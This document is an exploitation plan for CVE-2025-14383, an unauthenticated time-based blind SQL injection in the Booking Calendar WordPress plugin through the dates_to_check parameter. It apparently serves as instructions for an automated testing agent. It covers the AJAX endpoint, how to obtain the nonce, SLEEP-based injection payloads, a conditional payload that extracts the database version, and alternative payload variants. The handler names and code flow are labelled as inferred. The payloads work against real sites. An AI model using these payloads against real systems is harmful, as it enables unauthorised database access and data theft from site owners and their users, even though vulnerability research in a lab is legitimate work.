Booking Calendar <= 10.14.8 - Unauthenticated SQL Injection via dates_to_check

This exploitation research plan targets CVE-2025-14383, a time-based blind SQL injection vulnerability in the Booking Calendar plugin.

1. Vulnerability Summary

The Booking Calendar plugin (up to version 10.14.8) fails to properly sanitize and prepare the dates_to_check parameter before using it in a database query. Specifically, the parameter is likely concatenated or interpolated into a SQL string that checks for date availability. Because the query is executed without using $wpdb->prepare() for this specific parameter, an unauthenticated user can inject arbitrary SQL commands.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: WPBC_AJAX_CHECK_DATES (inferred action for date checking) or a similarly named action registered via wp_ajax_nopriv_.
• Vulnerable Parameter: dates_to_check
• Authentication: Unauthenticated (No login required).
• Preconditions: The plugin must be active. A booking resource (calendar) should ideally exist to ensure the code path for availability checking is triggered.

3. Code Flow (Inferred)

1. Entry: A request is sent to admin-ajax.php with action=WPBC_AJAX_CHECK_DATES (or similar).
2. Hook: WordPress triggers the wp_ajax_nopriv_WPBC_AJAX_CHECK_DATES hook.
3. Handler: The handler function (likely located in lib/wpbc-ajax.php or lib/wpbc-booking-new.php) retrieves the dates_to_check parameter from $_POST.
4. Processing: The code may attempt to validate the dates but fails to escape characters like single quotes (') or backslashes.
5. Sink: The value is placed directly into a query string:

   $query = "SELECT ... FROM {$wpdb->prefix}booking_dates WHERE ... AND date_start IN ($dates_to_check) ...";
   $results = $wpdb->get_results($query); // VULNERABLE: No prepare()
   

6. Injection: By providing a payload like 1') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -, the attacker pauses the database execution.

4. Nonce Acquisition Strategy

Booking Calendar typically uses a nonce for its AJAX operations, often localized as wpbc_nonce.

1. Identify Shortcode: The plugin uses the [booking] shortcode to display the booking form where scripts are enqueued.
2. Create Test Page:

   wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[booking]'
   

3. Navigate and Extract: Use the browser_navigate tool to go to the newly created page.
4. Extract Variable: The plugin often localizes data in a global object. Look for wpbc_global_data or wpbc_ajax_data.
   • JS Command: browser_eval("wpbc_global1.wpbc_ajax_nonce") or browser_eval("wpbc_ajx_booking_data.nonce") (Verify exact variable names in the page source).
5. Bypass Check: If check_ajax_referer uses a generic action or the plugin fails to verify the nonce for nopriv actions (a common mistake), the nonce may be unnecessary or bypassable.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

• Tool: http_request
• Method: POST
• URL: http://localhost:8888/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload Construction:
  • Base Action: WPBC_AJAX_CHECK_DATES
  • Injected Parameter: dates_to_check
  • Payload: 1', (SELECT 1 FROM (SELECT(SLEEP(10)))a) -- -

Step-by-Step Plan:

1. Baseline Request: Send a legitimate-looking request to the AJAX endpoint and measure the response time.
2. Attack Request: Send the request with the SLEEP(10) payload in the dates_to_check parameter.
3. Verification: Compare the response times. If the attack request takes ~10 seconds longer than the baseline, the injection is successful.

6. Test Data Setup

1. Activate Plugin: Ensure booking plugin is active.
2. Create Resource: Use WP-CLI to ensure at least one booking resource exists if the code requires it.

   # (Optional: Usually not needed for simple SQLi, but good for completeness)
   # wp eval "/* Code to create a booking resource */"
   

3. Create Nonce Page: Create a page with [booking] to fetch the required AJAX nonces.

7. Expected Results

• Successful Exploit: The HTTP response for the malicious request is delayed by the amount of time specified in the SLEEP() function (e.g., 10 seconds).
• Payload Response: The actual body of the response might be 0 or a JSON error, but the timing is the indicator of success.

8. Verification Steps

After the http_request tool confirms the time delay:

1. Data Extraction (Manual Verification): Attempt to extract the database version using a conditional sleep.
   • dates_to_check=1', (SELECT IF(VERSION() LIKE '8%', SLEEP(5), 0)) -- -
2. WP-CLI Check: Verify that no unexpected changes occurred in the database (this is a blind READ vulnerability, so the DB state should remain unchanged unless an UPDATE/INSERT sink is found).

9. Alternative Approaches

• Parameter Location: If dates_to_check is not accepted in POST, try GET.
• Alternative Actions: If WPBC_AJAX_CHECK_DATES is incorrect, search the source for other nopriv actions:

  grep -r "wp_ajax_nopriv_" wp-content/plugins/booking/
  

• Contextual Payloads: The dates_to_check might be wrapped in different characters. Try:
  • 1) AND SLEEP(5)-- -
  • 1' AND SLEEP(5) AND '1'='1
  • 1, SLEEP(5) (If the sink is inside an IN () clause)